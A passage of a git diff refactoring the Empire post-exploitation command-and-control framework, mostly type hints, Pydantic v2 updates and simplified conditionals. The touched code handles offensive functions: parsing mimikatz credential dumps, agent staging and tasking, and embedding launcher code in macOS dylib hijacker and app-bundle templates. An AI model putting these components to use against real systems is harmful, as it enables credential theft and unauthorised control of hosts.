complete_event, cmd_line, word_before_cursor @@ -69,8 +70,8 @@ def connect( config: bool = False, port: int = 1337, socketport: int = 5000, - username: str = None, - password: str = None, + username: str | None = None, + password: str | None = None, ) -> None: """ Connect to empire instance diff --git a/empire/client/src/menus/ProxyMenu.py b/empire/client/src/menus/ProxyMenu.py index 1059a9624..8739ceb1c 100644 --- a/empire/client/src/menus/ProxyMenu.py +++ b/empire/client/src/menus/ProxyMenu.py @@ -29,17 +29,18 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor ): for option in filtered_search_list(word_before_cursor, self.record_options): yield Completion(option, start_position=-len(word_before_cursor)) - elif cmd_line[0] == "set" and position_util(cmd_line, 3, word_before_cursor): - if ( - len(cmd_line) > 1 - and len(self.suggested_values_for_option(cmd_line[1])) > 0 + elif ( + cmd_line[0] == "set" + and position_util(cmd_line, 3, word_before_cursor) + and len(cmd_line) > 1 + and len(self.suggested_values_for_option(cmd_line[1])) > 0 + ): + for suggested_value in filtered_search_list( + word_before_cursor, self.suggested_values_for_option(cmd_line[1]) ): - for suggested_value in filtered_search_list( - word_before_cursor, self.suggested_values_for_option(cmd_line[1]) - ): - yield Completion( - suggested_value, start_position=-len(word_before_cursor) - ) + yield Completion( + suggested_value, start_position=-len(word_before_cursor) + ) yield from super().get_completions( document, complete_event, cmd_line, word_before_cursor @@ -64,7 +65,7 @@ def use(self, agent_name: str) -> None: try: self.record = state.get_proxy_info(agent_name)["proxy"] self.record_options = self.record["options"] - if agent_name in state.agents.keys(): + if agent_name in state.agents: self.selected = agent_name self.session_id = state.agents[self.selected]["session_id"] self.agent_options = state.agents[ diff --git a/empire/client/src/menus/UseCredentialMenu.py b/empire/client/src/menus/UseCredentialMenu.py index 8474763ca..5a7145773 100644 --- a/empire/client/src/menus/UseCredentialMenu.py +++ b/empire/client/src/menus/UseCredentialMenu.py @@ -109,10 +109,10 @@ def execute(self): for key, val in self.record_options.items(): temp[key] = val["Value"] response = state.add_credential(temp) - if "id" in response.keys(): + if "id" in response: log.info(f'Credential {response["id"]} successfully added') state.get_credentials() - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) else: temp = {} diff --git a/empire/client/src/menus/UseListenerMenu.py b/empire/client/src/menus/UseListenerMenu.py index 63cef92db..a79fd503c 100644 --- a/empire/client/src/menus/UseListenerMenu.py +++ b/empire/client/src/menus/UseListenerMenu.py @@ -68,7 +68,7 @@ def execute(self): # Hopefully this will force us to provide more info in api errors ;) post_body = {} temp_record = {} - for key in self.record_options.keys(): + for key in self.record_options: post_body[key] = self.record_options[key]["value"] temp_record["options"] = post_body @@ -76,9 +76,9 @@ def execute(self): temp_record["template"] = self.record["id"] response = state.create_listener(temp_record) - if "id" in response.keys(): + if "id" in response: return - elif "detail" in response.keys(): + elif "detail" in response: log.error(response["detail"]) @command diff --git a/empire/client/src/menus/UseMenu.py b/empire/client/src/menus/UseMenu.py index 3a595bbcf..9b12882b8 100644 --- a/empire/client/src/menus/UseMenu.py +++ b/empire/client/src/menus/UseMenu.py @@ -48,7 +48,7 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor cmd_line[0] == "set" and len(cmd_line) > 1 and cmd_line[1] == "bypasses" - and "bypasses" in (x.lower() for x in self.record_options.keys()) + and "bypasses" in (x.lower() for x in self.record_options) and position_util( cmd_line, where_am_i(cmd_line, word_before_cursor), word_before_cursor ) diff --git a/empire/client/src/menus/UseModuleMenu.py b/empire/client/src/menus/UseModuleMenu.py index 66cd680a7..2d278a25b 100644 --- a/empire/client/src/menus/UseModuleMenu.py +++ b/empire/client/src/menus/UseModuleMenu.py @@ -64,7 +64,7 @@ def use(self, module: str) -> None: Usage: use """ - if module in state.modules.keys(): + if module in state.modules: self.selected = module self.record = state.modules[module] self.record_options = state.modules[module]["options"] @@ -77,34 +77,36 @@ def execute(self): Usage: execute """ # Find file then upload to server - if "File" in self.record_options: + if ( + "File" in self.record_options # if a full path upload to server, else use file from download directory - if pathlib.Path(self.record_options["File"]["value"]).is_file(): - try: - file_directory = self.record_options["File"]["value"] - filename = file_directory.split("/")[-1] - data = get_data_from_file(file_directory) - except Exception: - log.error("Invalid filename or file does not exist") - return - response = state.upload_file(filename, data) - if "id" in response.keys(): - log.info("File uploaded to server successfully") - self.record_options["File"]["value"] = response["id"] - - elif "detail" in response.keys(): - if response["detail"].startswith("[!]"): - log.info(response["detail"]) - else: - log.error(response["detail"]) - - # Save copy off to downloads folder so last value points to the correct file - with open(f"{state.directory['downloads']}{filename}", "wb+") as f: - f.write(data) + and pathlib.Path(self.record_options["File"]["value"]).is_file() + ): + try: + file_directory = self.record_options["File"]["value"] + filename = file_directory.split("/")[-1] + data = get_data_from_file(file_directory) + except Exception: + log.error("Invalid filename or file does not exist") + return + response = state.upload_file(filename, data) + if "id" in response: + log.info("File uploaded to server successfully") + self.record_options["File"]["value"] = response["id"] + + elif "detail" in response: + if response["detail"].startswith("[!]"): + log.info(response["detail"]) + else: + log.error(response["detail"]) + + # Save copy off to downloads folder so last value points to the correct file + with open(f"{state.directory['downloads']}{filename}", "wb+") as f: + f.write(data) post_body = {"options": {}} - for key in self.record_options.keys(): + for key in self.record_options: post_body["options"][key] = self.record_options[key]["value"] post_body["module_id"] = self.record["id"] @@ -116,8 +118,8 @@ def execute(self): response = state.execute_module( self.record_options["Agent"]["value"], post_body ) - if "status" in response.keys(): - if "Agent" in post_body["options"].keys(): + if "status" in response: + if "Agent" in post_body["options"]: log.info( "Tasked " + self.record_options["Agent"]["value"] @@ -126,7 +128,7 @@ def execute(self): ) menu_state.pop() - elif "detail" in response.keys(): + elif "detail" in response: if response["detail"].startswith("[!]"): log.info(response["detail"]) else: diff --git a/empire/client/src/menus/UsePluginMenu.py b/empire/client/src/menus/UsePluginMenu.py index 8af245cae..296e3f3ab 100644 --- a/empire/client/src/menus/UsePluginMenu.py +++ b/empire/client/src/menus/UsePluginMenu.py @@ -76,7 +76,7 @@ def execute(self): """ post_body = {} post_body["options"] = {} - for key in self.record_options.keys(): + for key in self.record_options: post_body["options"][key] = self.record_options[key]["value"] response = state.execute_plugin(self.record["id"], post_body) diff --git a/empire/client/src/menus/UseStagerMenu.py b/empire/client/src/menus/UseStagerMenu.py index 8fc846d57..feb2adad7 100644 --- a/empire/client/src/menus/UseStagerMenu.py +++ b/empire/client/src/menus/UseStagerMenu.py @@ -57,7 +57,7 @@ def use(self, module: str) -> None: Usage: use """ - if module in state.stagers.keys(): # todo rename module? + if module in state.stagers: # todo rename module? self.selected = module self.record = state.stagers[module] self.record_options = state.stagers[module]["options"] @@ -68,7 +68,7 @@ def use(self, module: str) -> None: "\n".join(textwrap.wrap(str(x), width=35)) for x in value.values() ] values.reverse() - temp = [key] + values + temp = [key, *values] listener_list.append(temp) @command @@ -82,7 +82,7 @@ def execute(self): # Hopefully this will force us to provide more info in api errors ;) post_body = {} temp_record = {} - for key in self.record_options.keys(): + for key in self.record_options: post_body[key] = self.record_options[key]["value"] temp_record["options"] = post_body diff --git a/empire/client/src/utils/date_util.py b/empire/client/src/utils/date_util.py index 682270c6c..8ed437e91 100644 --- a/empire/client/src/utils/date_util.py +++ b/empire/client/src/utils/date_util.py @@ -3,7 +3,7 @@ import humanize -def humanize_datetime(iso_string: str = None): +def humanize_datetime(iso_string: str | None = None): """ From the iso-8601 formatted timestamp, Get a string representing the local time to the user and a time delta like '2020-12-24 15:28:44 MST (28 seconds ago)' diff --git a/empire/client/src/utils/table_util.py b/empire/client/src/utils/table_util.py index 59f76936b..285292934 100644 --- a/empire/client/src/utils/table_util.py +++ b/empire/client/src/utils/table_util.py @@ -9,10 +9,10 @@ def print_table( - data: list[list[str]] = None, + data: list[list[str]] | None = None, title: str = "", colored_header: bool = True, - borders: bool = None, + borders: bool | None = None, end_space: bool = True, ): if data is None: @@ -45,10 +45,10 @@ def print_table( def print_agent_table( - data: list[list[str]] = None, - formatting: list[list[str]] = None, + data: list[list[str]] | None = None, + formatting: list[list[str]] | None = None, title: str = "", - borders: bool = None, + borders: bool | None = None, ): if data is None: return diff --git a/empire/client/src/utils/thread_util.py b/empire/client/src/utils/thread_util.py index a8179d0a2..5793a6141 100644 --- a/empire/client/src/utils/thread_util.py +++ b/empire/client/src/utils/thread_util.py @@ -31,9 +31,8 @@ def globaltrace(self, frame, why, arg): return None def localtrace(self, frame, why, arg): - if self.killed: - if why == "line": - raise SystemExit() + if self.killed and why == "line": + raise SystemExit() return self.localtrace def kill(self): diff --git a/empire/server/api/app.py b/empire/server/api/app.py index e7e04d64a..10bfca066 100644 --- a/empire/server/api/app.py +++ b/empire/server/api/app.py @@ -1,6 +1,6 @@ import json import logging -import os +from contextlib import asynccontextmanager from datetime import datetime from json import JSONEncoder from pathlib import Path @@ -45,7 +45,7 @@ def default(self, o): def load_starkiller(v2App, ip, port): try: - sync_starkiller(empire_config.dict()) + sync_starkiller(empire_config.model_dump()) except Exception as e: log.warning("Failed to load Starkiller: %s", e, exc_info=True) log.warning( @@ -86,15 +86,18 @@ def initialize( from empire.server.api.v2.user import user_api from empire.server.server import main - v2App = FastAPI() - - @v2App.on_event("shutdown") - def shutdown_event(): - log.info("Shutting down Empire Server...") + @asynccontextmanager + async def lifespan(app: FastAPI): + yield if main: - log.info("Shutting down MainMenu...") main.shutdown() + if sio: + log.info("Shutting down SocketIO...") + await sio.shutdown() + + v2App = FastAPI(lifespan=lifespan) + v2App.include_router(listener_template_api.router) v2App.include_router(listener_api.router) v2App.include_router(stager_template_api.router) @@ -155,7 +158,7 @@ def shutdown_event(): else: log.info("Starkiller disabled. Not loading.") - cert_path = os.path.abspath("./empire/server/data/") + cert_path = Path(empire_config.api.cert_path) if run: if not secure: diff --git a/empire/server/api/middleware.py b/empire/server/api/middleware.py index fe618deb7..7c9038aa3 100644 --- a/empire/server/api/middleware.py +++ b/empire/server/api/middleware.py @@ -16,7 +16,7 @@ def __init__( allow_methods: typing.Sequence[str] = ("GET",), allow_headers: typing.Sequence[str] = (), allow_credentials: bool = False, - allow_origin_regex: str = None, + allow_origin_regex: str | None = None, expose_headers: typing.Sequence[str] = (), max_age: int = 600, ) -> None: diff --git a/empire/server/api/v2/agent/agent_file_dto.py b/empire/server/api/v2/agent/agent_file_dto.py index cf9528de3..7d4df6837 100644 --- a/empire/server/api/v2/agent/agent_file_dto.py +++ b/empire/server/api/v2/agent/agent_file_dto.py @@ -36,4 +36,4 @@ class AgentFile(BaseModel): model_config = ConfigDict(from_attributes=True) -AgentFile.update_forward_refs() +AgentFile.model_rebuild() diff --git a/empire/server/api/v2/agent/agent_task_api.py b/empire/server/api/v2/agent/agent_task_api.py index 43907e328..18404c53f 100644 --- a/empire/server/api/v2/agent/agent_task_api.py +++ b/empire/server/api/v2/agent/agent_task_api.py @@ -46,6 +46,10 @@ from empire.server.core.db import models from empire.server.core.db.models import AgentTaskStatus from empire.server.core.download_service import DownloadService +from empire.server.core.exceptions import ( + ModuleExecutionException, + ModuleValidationException, +) from empire.server.server import main from empire.server.utils.data_util import is_port_in_use @@ -256,12 +260,25 @@ async def create_task_module( current_user: CurrentUser, db_agent: models.Agent = Depends(get_agent), ): - resp, err = agent_task_service.create_task_module( - db, db_agent, module_request, current_user.id - ) + try: + resp, err = agent_task_service.create_task_module( + db, db_agent, module_request, current_user.id + ) - if err: - raise HTTPException(status_code=400, detail=err) + # This is for backwards compatibility with modules returning + # tuples for exceptions. All modules should remove returning + # tuples in favor of raising exceptions by Empire 6.0 + if err: + raise HTTPException(status_code=400, detail=err) + except HTTPException as e: + # Propagate the HTTPException from above + raise e from None + except ModuleValidationException as e: + raise HTTPException(status_code=400, detail=str(e)) from e + except ModuleExecutionException as e: + raise HTTPException(status_code=500, detail=str(e)) from e + except Exception as e: + raise HTTPException(status_code=500, detail=str(e)) from e return domain_to_dto_task(resp) @@ -489,7 +506,7 @@ async def create_task_update_proxy_list( # We have to use a string enum to get the api to accept strings # then convert to int manually. Agent code could be refactored to just # use strings, then this conversion could be removed. - proxy_list_dict = proxy_list_request.dict() + proxy_list_dict = proxy_list_request.model_dump() for proxy in proxy_list_dict["proxies"]: proxy["proxy_type"] = PROXY_NAME[proxy["proxy_type"]] resp, err = agent_task_service.create_task_proxy_list( diff --git a/empire/server/api/v2/agent/agent_task_dto.py b/empire/server/api/v2/agent/agent_task_dto.py index 5be2212cc..01f411eca 100644 --- a/empire/server/api/v2/agent/agent_task_dto.py +++ b/empire/server/api/v2/agent/agent_task_dto.py @@ -24,7 +24,7 @@ def domain_to_dto_task( include_original_output: bool = True, include_output: bool = True, ): - return AgentTask.construct( # .construct doesn't do any validation and speeds up the request a bit + return AgentTask.model_construct( # .construct doesn't do any validation and speeds up the request a bit id=task.id, input=task.input, full_input=None if not include_full_input else task.input_full, diff --git a/empire/server/api/v2/host/process_dto.py b/empire/server/api/v2/host/process_dto.py index 782176745..8a7d86c6b 100644 --- a/empire/server/api/v2/host/process_dto.py +++ b/empire/server/api/v2/host/process_dto.py @@ -4,10 +4,7 @@ def domain_to_dto_process(process: models.HostProcess): - if process.agent: - agent_id = process.agent.session_id - else: - agent_id = None + agent_id = process.agent.session_id if process.agent else None return Process( process_id=process.process_id, diff --git a/empire/server/api/v2/plugin/plugin_api.py b/empire/server/api/v2/plugin/plugin_api.py index 739857c65..794c8262c 100644 --- a/empire/server/api/v2/plugin/plugin_api.py +++ b/empire/server/api/v2/plugin/plugin_api.py @@ -14,7 +14,10 @@ ) from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse -from empire.server.core.exceptions import PluginValidationException +from empire.server.core.exceptions import ( + PluginExecutionException, + PluginValidationException, +) from empire.server.server import main plugin_service = main.pluginsv2 @@ -67,6 +70,8 @@ async def execute_plugin( ) except PluginValidationException as e: raise HTTPException(status_code=400, detail=str(e)) from e + except PluginExecutionException as e: + raise HTTPException(status_code=500, detail=str(e)) from e if results is False or err: raise HTTPException(500, err or "internal plugin error") diff --git a/empire/server/api/v2/plugin/plugin_task_dto.py b/empire/server/api/v2/plugin/plugin_task_dto.py index b2efb5d28..34c3ae279 100644 --- a/empire/server/api/v2/plugin/plugin_task_dto.py +++ b/empire/server/api/v2/plugin/plugin_task_dto.py @@ -23,7 +23,7 @@ def domain_to_dto_plugin_task( include_full_input: bool = True, include_output: bool = True, ): - return PluginTask.construct( # .construct doesn't do any validation and speeds up the request a bit + return PluginTask.model_construct( # .construct doesn't do any validation and speeds up the request a bit id=task.id, input=task.input, full_input=None if not include_full_input else task.input_full, diff --git a/empire/server/api/v2/user/user_api.py b/empire/server/api/v2/user/user_api.py index 0d360fabf..0ef6989f1 100644 --- a/empire/server/api/v2/user/user_api.py +++ b/empire/server/api/v2/user/user_api.py @@ -123,12 +123,11 @@ async def update_user( status_code=403, detail="User does not have access to update this resource." ) - if user_req.is_admin != db_user.admin: - if not current_user.admin: - raise HTTPException( - status_code=403, - detail="User does not have access to update admin status.", - ) + if user_req.is_admin != db_user.admin and not current_user.admin: + raise HTTPException( + status_code=403, + detail="User does not have access to update admin status.", + ) # update resp, err = user_service.update_user(db, db_user, user_req) diff --git a/empire/server/api/v2/websocket/socketio.py b/empire/server/api/v2/websocket/socketio.py index ab8e8a804..e414c2972 100644 --- a/empire/server/api/v2/websocket/socketio.py +++ b/empire/server/api/v2/websocket/socketio.py @@ -155,18 +155,18 @@ async def on_participants(sid, data=None): await sio.emit("chat/participants", list(chat_participants.values()), room=sid) async def agent_socket_hook(db: Session, agent: models.Agent): - await sio.emit("agents/new", domain_to_dto_agent(agent).dict()) + await sio.emit("agents/new", domain_to_dto_agent(agent).model_dump()) async def task_socket_hook(db: Session, task: models.AgentTask): # temporary tasks come back as None and cause an error here - if task: - if "function Get-Keystrokes" not in task.input: - await sio.emit( - f"agents/{task.agent_id}/task", domain_to_dto_task(task).dict() - ) + if task and "function Get-Keystrokes" not in task.input: + await sio.emit( + f"agents/{task.agent_id}/task", + domain_to_dto_task(task).model_dump(), + ) async def listener_socket_hook(db: Session, listener: models.Listener): - await sio.emit("listeners/new", domain_to_dto_listener(listener).dict()) + await sio.emit("listeners/new", domain_to_dto_listener(listener).model_dump()) hooks.register_hook( hooks.AFTER_AGENT_CHECKIN_HOOK, "agent_socket_hook", agent_socket_hook diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py index c179ab225..96827b59a 100644 --- a/empire/server/common/agents.py +++ b/empire/server/common/agents.py @@ -34,6 +34,7 @@ """ import base64 +import contextlib import json import logging import os @@ -414,10 +415,9 @@ def save_agent_log(self, session_id, data): self.agent_log_locks[session_id] = threading.Lock() lock = self.agent_log_locks[session_id] - with lock: - with open(f"{save_path}/agent.log", "a") as f: - f.write("\n" + current_time + " : " + "\n") - f.write(data + "\n") + with lock, open(f"{save_path}/agent.log", "a") as f: + f.write("\n" + current_time + " : " + "\n") + f.write(data + "\n") ############################################################### # @@ -557,10 +557,7 @@ def get_autoruns_db(self): autorun_command = "" results = db.query(models.Config.autorun_data).all() - if results[0].autorun_data: - autorun_data = results[0].autorun_data - else: - autorun_data = "" + autorun_data = results[0].autorun_data if results[0].autorun_data else "" autoruns = [autorun_command, autorun_data] @@ -998,10 +995,7 @@ def handle_agent_staging( language = str(parts[10], "utf-8") language_version = str(parts[11], "utf-8") architecture = str(parts[12], "utf-8") - if high_integrity == "True": - high_integrity = 1 - else: - high_integrity = 0 + high_integrity = 1 if high_integrity == "True" else 0 except Exception as e: message = ( @@ -1222,10 +1216,8 @@ def handle_agent_request( "python", "ironpython", ]: - try: + with contextlib.suppress(Exception): session_key = bytes.fromhex(session_key) - except Exception: - pass # encrypt the tasking packets with the agent's session key encrypted_data = encryption.aes_encrypt_then_hmac( @@ -1258,10 +1250,8 @@ def handle_agent_response(self, sessionID, encData, update_lastseen=False): sessionKey = self.agents[sessionID]["sessionKey"] if self.agents[sessionID]["language"].lower() in ["python", "ironpython"]: - try: + with contextlib.suppress(Exception): sessionKey = bytes.fromhex(sessionKey) - except Exception: - pass try: # verify, decrypt and depad the packet @@ -1352,6 +1342,14 @@ def process_agent_packet( tasking.original_output = data tasking.output = data + # Not sure why, but for Python agents these are bytes initially, but + # after storing in the database they're strings. So we need to convert + # so socketio and other hooks get the right data type. + if isinstance(tasking.output, bytes): + tasking.output = tasking.output.decode("UTF-8") + if isinstance(tasking.original_output, bytes): + tasking.original_output = tasking.original_output.decode("UTF-8") + hooks.run_hooks(hooks.BEFORE_TASKING_RESULT_HOOK, db, tasking) db, tasking = hooks.run_filters( hooks.BEFORE_TASKING_RESULT_FILTER, db, tasking @@ -1393,10 +1391,7 @@ def process_agent_packet( language = parts[10] language_version = parts[11] architecture = parts[12] - if high_integrity == "True": - high_integrity = 1 - else: - high_integrity = 0 + high_integrity = 1 if high_integrity == "True" else 0 # username = str(domainname)+"\\"+str(username) username = f"{domainname}\\{username}" @@ -1456,12 +1451,7 @@ def process_agent_packet( time.sleep(1) self.socksthread[session_id].kill() - elif response_name == "TASK_SHELL": - # shell command response - # update the agent log - self.save_agent_log(session_id, data) - - elif response_name == "TASK_CSHARP": + elif response_name in ["TASK_SHELL", "TASK_CSHARP"]: # shell command response # update the agent log self.save_agent_log(session_id, data) @@ -1756,23 +1746,13 @@ def process_agent_packet( msg = f"Output saved to .{final_save_path}" self.save_agent_log(session_id, msg) - elif response_name == "TASK_SCRIPT_IMPORT": - # update the agent log - self.save_agent_log(session_id, data) - - elif response_name == "TASK_IMPORT_MODULE": - # update the agent log - self.save_agent_log(session_id, data) - - elif response_name == "TASK_VIEW_MODULE": - # update the agent log - self.save_agent_log(session_id, data) - - elif response_name == "TASK_REMOVE_MODULE": - # update the agent log - self.save_agent_log(session_id, data) - - elif response_name == "TASK_SCRIPT_COMMAND": + elif response_name in [ + "TASK_SCRIPT_IMPORT", + "TASK_IMPORT_MODULE", + "TASK_VIEW_MODULE", + "TASK_REMOVE_MODULE", + "TASK_SCRIPT_COMMAND", + ]: # update the agent log self.save_agent_log(session_id, data) @@ -1800,12 +1780,4 @@ def process_agent_packet( else: log.warning(f"Unknown response {response_name} from {session_id}") - # Not sure why, but for Python agents these are bytes initially, but - # after storing in the database they're strings. So we need to convert - # so socketio and other hooks get the right data type. - if isinstance(tasking.output, bytes): - tasking.output = tasking.output.decode("UTF-8") - if isinstance(tasking.original_output, bytes): - tasking.original_output = tasking.original_output.decode("UTF-8") - hooks.run_hooks(hooks.AFTER_TASKING_RESULT_HOOK, db, tasking) diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 9a42c0aa3..bf483deeb 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -38,7 +38,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.8.4 BC Security Fork" +VERSION = "5.9.1 BC Security Fork" log = logging.getLogger(__name__) diff --git a/empire/server/common/encryption.py b/empire/server/common/encryption.py index 3abce55c9..be69b26ac 100644 --- a/empire/server/common/encryption.py +++ b/empire/server/common/encryption.py @@ -341,9 +341,12 @@ def checkPublicKey(self, otherKey): Check the other party's public key to make sure it's valid. Since a safe prime is used, verify that the Legendre symbol == 1 """ - if otherKey > 2 and otherKey < self.prime - 1: - if pow(otherKey, (self.prime - 1) // 2, self.prime) == 1: - return True + if ( + otherKey > 2 + and otherKey < self.prime - 1 + and pow(otherKey, (self.prime - 1) // 2, self.prime) == 1 + ): + return True return False def genSecret(self, privateKey, otherKey): diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py index c4eda59dd..380d72fa3 100644 --- a/empire/server/common/helpers.py +++ b/empire/server/common/helpers.py @@ -92,10 +92,7 @@ def validate_ntlm(data): Checks if the passed string is an NTLM hash. """ allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE) - if allowed.match(data): - return True - else: - return False + return bool(allowed.match(data)) #################################################################################### @@ -494,11 +491,7 @@ def parse_mimikatz(data): domain = hostDomain sid = domainSid - if validate_ntlm(password): - credType = "hash" - - else: - credType = "plaintext" + credType = "hash" if validate_ntlm(password) else "plaintext" # ignore machine account plaintexts if not (credType == "plaintext" and username.endswith("$")): @@ -540,34 +533,33 @@ def parse_mimikatz(data): except Exception: pass - if len(creds) == 0: - # check if we get lsadump::dcsync output - if b"** SAM ACCOUNT **" in lines: - domain, user, userHash, dcName, sid = "", "", "", "", "" - for line in lines: - if line.strip().endswith(b"will be the domain"): - domain = line.split(b"'")[1] - elif line.strip().endswith(b"will be the DC server"): - dcName = line.split(b"'")[1].split(b".")[0] - elif line.strip().startswith(b"SAM Username"): - user = line.split(b":")[1].strip() - elif line.strip().startswith(b"Object Security ID"): - parts = line.split(b":")[1].strip().split(b"-") - sid = b"-".join(parts[0:-1]) - elif line.strip().startswith(b"Hash NTLM:"): - userHash = line.split(b":")[1].strip() - - if domain != "" and userHash != "": - creds.append( - ( - "hash", - domain.decode("UTF-8"), - user.decode("UTF-8"), - userHash.decode("UTF-8"), - dcName.decode("UTF-8"), - sid.decode("UTF-8"), - ) + # check if we get lsadump::dcsync output + if len(creds) == 0 and b"** SAM ACCOUNT **" in lines: + domain, user, userHash, dcName, sid = "", "", "", "", "" + for line in lines: + if line.strip().endswith(b"will be the domain"): + domain = line.split(b"'")[1] + elif line.strip().endswith(b"will be the DC server"): + dcName = line.split(b"'")[1].split(b".")[0] + elif line.strip().startswith(b"SAM Username"): + user = line.split(b":")[1].strip() + elif line.strip().startswith(b"Object Security ID"): + parts = line.split(b":")[1].strip().split(b"-") + sid = b"-".join(parts[0:-1]) + elif line.strip().startswith(b"Hash NTLM:"): + userHash = line.split(b":")[1].strip() + + if domain != "" and userHash != "": + creds.append( + ( + "hash", + domain.decode("UTF-8"), + user.decode("UTF-8"), + userHash.decode("UTF-8"), + dcName.decode("UTF-8"), + sid.decode("UTF-8"), ) + ) return uniquify_tuples(creds) @@ -791,9 +783,8 @@ def globaltrace(self, frame, why, arg): return None def localtrace(self, frame, why, arg): - if self.killed: - if why == "line": - raise SystemExit() + if self.killed and why == "line": + raise SystemExit() return self.localtrace def kill(self): diff --git a/empire/server/common/plugins.py b/empire/server/common/plugins.py index 7cc798b03..8187877d3 100644 --- a/empire/server/common/plugins.py +++ b/empire/server/common/plugins.py @@ -4,7 +4,7 @@ log = logging.getLogger(__name__) -class Plugin: +class BasePlugin: # to be overwritten by child def __init__(self, mainMenu): # having these multiple messages should be helpful for debugging @@ -35,3 +35,6 @@ def register(self, mainMenu): """Any modifications made to the main menu are done here (meant to be overriden by child)""" pass + + +Plugin = BasePlugin diff --git a/empire/server/common/pylnk.py b/empire/server/common/pylnk.py index ab6ad0ff5..2566ca690 100644 --- a/empire/server/common/pylnk.py +++ b/empire/server/common/pylnk.py @@ -634,12 +634,10 @@ def _interpret(self, raw): self.items.append(PathSegmentEntry(item)) def _validate(self): - if type(self.items[0]) == RootEntry: - if ( - self.items[0].root == ROOT_MY_COMPUTER - and type(self.items[1]) != DriveEntry - ): - raise ValueError("A drive is required for absolute lnks") + if type(self.items[0]) == RootEntry and ( + self.items[0].root == ROOT_MY_COMPUTER and type(self.items[1]) != DriveEntry + ): + raise ValueError("A drive is required for absolute lnks") def bytes(self): self._validate() @@ -746,9 +744,8 @@ def save(self, f=None, force_ext=False): raise ValueError( "Need a writeable object or a file name to save to, got %s" % f ) - if force_ext: - if not f.lower().endswith(".lnk"): - f += ".lnk" + if force_ext and not f.lower().endswith(".lnk"): + f += ".lnk" f = open(f, "wb") self.write(f) # only close the stream if it's our own diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index 6430a6f65..ba7872854 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -171,7 +171,7 @@ def generate_powershell_exe( f.write(posh_code) compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver") - if not compiler.status == "ON": + if compiler.status != "ON": log.error("csharpserver plugin not running") else: file_name = compiler.do_send_stager( @@ -268,7 +268,7 @@ def generate_python_exe( f.write(python_code) compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver") - if not compiler.status == "ON": + if compiler.status != "ON": log.error("csharpserver plugin not running") else: file_name = compiler.do_send_stager( @@ -362,56 +362,41 @@ def generate_dylib(self, launcherCode, arch, hijacker): MH_DYLIB = 6 if hijacker.lower() == "true": if arch == "x86": - f = open( - "%s/data/misc/hijackers/template.dylib" - % (self.mainMenu.installPath), - "rb", - ) + f = f"{self.mainMenu.installPath}/data/misc/hijackers/template.dylib" else: - f = open( - "%s/data/misc/hijackers/template64.dylib" - % (self.mainMenu.installPath), - "rb", - ) + f = f"{self.mainMenu.installPath}/data/misc/hijackers/template64.dylib" else: if arch == "x86": - f = open( - "%s/data/misc/templateLauncher.dylib" % (self.mainMenu.installPath), - "rb", - ) + f = f"{self.mainMenu.installPath}/data/misc/templateLauncher.dylib" else: - f = open( - "%s/data/misc/templateLauncher64.dylib" - % (self.mainMenu.installPath), - "rb", - ) + f = f"{self.mainMenu.installPath}/data/misc/templateLauncher64.dylib" - macho = macholib.MachO.MachO(f.name) + with open(f, "rb") as f: + macho = macholib.MachO.MachO(f.name) - if int(macho.headers[0].header.filetype) != MH_DYLIB: - log.error("Dylib template is not the correct filetype") - return "" + if int(macho.headers[0].header.filetype) != MH_DYLIB: + log.error("Dylib template is not the correct filetype") + return "" - cmds = macho.headers[0].commands + cmds = macho.headers[0].commands - for cmd in cmds: - count = 0 - if ( - int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 - or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT - ): - count += 1 + for cmd in cmds: + count = 0 if ( - cmd[count].segname.strip(b"\x00") == b"__TEXT" - and cmd[count].nsects > 0 + int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 + or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT ): count += 1 - for section in cmd[count]: - if section.sectname.strip(b"\x00") == b"__cstring": - offset = int(section.offset) - placeHolderSz = int(section.size) - 52 - template = f.read() - f.close() + if ( + cmd[count].segname.strip(b"\x00") == b"__TEXT" + and cmd[count].nsects > 0 + ): + count += 1 + for section in cmd[count]: + if section.sectname.strip(b"\x00") == b"__cstring": + offset = int(section.offset) + placeHolderSz = int(section.size) - 52 + template = f.read() if placeHolderSz and offset: launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode)) @@ -432,53 +417,51 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm): MH_EXECUTE = 2 if Arch == "x64": - f = open( + f = ( self.mainMenu.installPath - + "/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher", - "rb", + + "/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher" ) directory = ( self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/" ) else: - f = open( + f = ( self.mainMenu.installPath - + "/data/misc/apptemplateResources/x86/launcher.app/Contents/MacOS/launcher", - "rb", + + "/data/misc/apptemplateResources/x86/launcher.app/Contents/MacOS/launcher" ) directory = ( self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/" ) - macho = macholib.MachO.MachO(f.name) + with open(f, "rb") as f: + macho = macholib.MachO.MachO(f.name) - if int(macho.headers[0].header.filetype) != MH_EXECUTE: - log.error("Macho binary template is not the correct filetype") - return "" + if int(macho.headers[0].header.filetype) != MH_EXECUTE: + log.error("Macho binary template is not the correct filetype") + return "" - cmds = macho.headers[0].commands + cmds = macho.headers[0].commands - for cmd in cmds: - count = 0 - if ( - int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 - or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT - ): - count += 1 + for cmd in cmds: + count = 0 if ( - cmd[count].segname.strip(b"\x00") == b"__TEXT" - and cmd[count].nsects > 0 + int(cmd[count].cmd) == 